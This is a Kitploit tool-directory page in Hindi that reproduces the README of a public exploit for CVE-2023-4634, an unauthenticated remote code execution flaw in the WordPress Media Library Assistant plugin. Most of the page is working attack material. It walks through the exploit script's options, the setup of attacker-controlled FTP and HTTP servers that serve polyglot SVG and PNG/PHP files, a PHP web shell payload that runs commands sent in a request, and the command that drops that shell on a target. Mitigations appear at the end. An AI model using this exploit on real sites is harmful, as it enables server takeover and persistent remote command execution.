Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
उपकरण/GitHubGitHub/patrowl/cve-2023-4634
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

रिपॉजिटरी देखें
4795 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-4634

Wordpress Plugin Media-Library Plugin < 3.10 के लिए RCE एक्सप्लॉइट (CVE-2023-4634)

जानकारी

Patrowl ने Media-Librairy-Assistant Wordpress Plugin के < 3.10 संस्करण में एक बिना प्रमाणीकरण वाली RCE भेद्यता की खोज की। यह एक्सप्लॉइट साधारण नहीं है और इसके लिए नीचे बताई गई थोड़ी सी सेटअप की आवश्यकता है।

एक्सप्लॉइट की संपूर्ण खोज और शोषण की प्रक्रिया हमारे ब्लॉग में पाई जा सकती है: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

एक्सप्लॉइटेशन की पूर्वापेक्षाएँ

  • Wordpress इंस्टॉल हो (सभी संस्करण काम करेंगे)
  • Media-Library-Assistant का संस्करण < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • सर्वर पर Imagick लाइब्रेरी इंस्टॉल हों
  • डिफ़ॉल्ट Imagick कॉन्फ़िगरेशन
  • बाहरी नेटवर्क कनेक्टिविटी

पहचान

भेद्यता की पहचान एक रिमोट FTP सर्वर पर बुनियादी DNS जांच के माध्यम से की जा सकती है। nuclei टेम्पलेट यहाँ पाया जा सकता है: CVE-2023-4634.yaml।

root@kitploit:~
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

पूर्ण शोषण और RCE तब CVE-2023-4634.py स्क्रिप्ट का उपयोग करके किया जा सकता है।

नोट: आप स्क्रिप्ट का उपयोग LFI जैसे सरल शोषण को ट्रिगर करने के लिए भी कर सकते हैं, बस विशिष्ट SVG तैयार करें और इसे अपने FTP पर होस्ट करें, हमारे ब्लॉग में दी गई सिफारिशों का पालन करें।

उपयोग

आवश्यकताएँ इंस्टॉल करें:

root@kitploit:~
python3 -m pip install -r requirements.txt

फिर

root@kitploit:~
python3 CVE-CVE-2023-4634.py -h

आपको यह देता है:

root@kitploit:~
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            show this help message and exit
  --target [TARGET]     URL of the Target, ex http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Number of concurrent long SVG conversion requests to make ( default 100 )
  --generatesvg, --no-generatesvg
                        Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
  --webserverpath WEBSERVERPATH
                        Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
  --exploitname EXPLOITNAME
                        Dropped exploit name example: pwned.php
  --generatepng, --no-generatepng
                        Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
  --payload PAYLOAD     PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>

अब इसे काम करने के लिए आपको रिमोट होस्ट पर निम्न सेटअप करने की आवश्यकता है:

  • 1 FTP सर्वर जो polyglot SVG/MSL और SVG/VID एक्सप्लॉइटर्स को होस्ट करता है
  • 1 HTTP सर्वर जो polyglot PNG/MSL को होस्ट करता है

शोषण से पहले

अपना FTP सर्वर तैयार करें

आप Python का उपयोग करके एक साधारण FTP सर्वर चला सकते हैं:

root@kitploit:~
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

सेटअप हो जाने पर, आपको अपने FTP सर्वरों पर SVG/MSL polyglot फ़ाइलें और सभी SVG एक्सप्लॉइटर्स जोड़ने होंगे, आप उन्हें स्क्रिप्ट का उपयोग करके आसानी से उत्पन्न कर सकते हैं:

root@kitploit:~
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

यह remote_ftp फ़ोल्डर में निम्न उत्पन्न करेगा:

  • poly.svg, polyglot SVG/MSL जिसमें नॉन-रूटेड पता होता है जिसे लक्ष्य उत्पन्न करने में लंबा समय लेगा, साथ ही एक MSL जो png_polyglot_name को remotettp से गंतव्य पथ (webserverpath+ exploitname) पर संग्रहीत करेगा
  • सभी 64 SVG/VID एक्सप्लॉइटर्स जो exploiter_FUZZ नामकरण का उपयोग करते हैं, जहाँ FUZZ को ब्रूटफोर्स किए गए वर्ण से बदल दिया जाएगा

ध्यान दें कि स्क्रिप्ट svg फ़ाइल को [0] के साथ अंत में कॉपी भी करेगी (poly.svg और poly.svg[0])। शोषण के काम करने के लिए दोनों फ़ाइलों की आवश्यकता होती है।

सभी उत्पन्न फ़ाइलों (सामान्य और [0]) को अपने FTP सर्वर की FTP रूट डायरेक्टरी में रखें। यह कुछ इस प्रकार दिखना चाहिए:

root@kitploit:~
ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

अपना HTTP सर्वर तैयार करें

आप Python का उपयोग करके एक साधारण HTTP सर्वर चला सकते हैं:

root@kitploit:~
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

आपको बस अपनी polyglot PNG/PHP फ़ाइल जोड़नी है। आप फ़ाइल उत्पन्न करने और वांछित payload शामिल करने के लिए स्क्रिप्ट का भी उपयोग कर सकते हैं:

root@kitploit:~
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

एक्सप्लॉइट

अब जब रिमोट FTP सर्वर और HTTP सर्वर दोनों तैयार हैं, आप कमजोर लक्ष्य पर एक्सप्लॉइटेशन शुरू कर सकते हैं (स्क्रिप्ट जाँच करेगी कि लक्ष्य प्लगइन के कमजोर संस्करण का उपयोग कर रहा है या नहीं)। उदाहरण:

root@kitploit:~
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

और यदि सब कुछ ठीक रहा, तो आपका exploitname webserverpath के भीतर ड्रॉप हो जाना चाहिए (यह इस बात पर निर्भर करता है कि आप अपना एक्सप्लॉइट कैसे कॉन्फ़िगर करते हैं) आनंद लें!

वीडियो क्लिप

मैंने एक वीडियो क्लिप बनाई है।

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

शमन उपाय

  • प्लगइन्स के नवीनतम संस्करण में अपग्रेड करें (https://fr.wordpress.org/plugins/media-library-assistant/)
  • खतरनाक फ़ाइलों के रूपांतरण को अक्षम करके Imagick सुरक्षा नीति को सुदृढ़ करें, जैसे: "MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID" इसे निम्नलिखित जोड़कर किया जा सकता है
root@kitploit:~
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

इसमें:

root@kitploit:~
/etc/ImageMagick-X/policy.xml
टूल डाउनलोड करें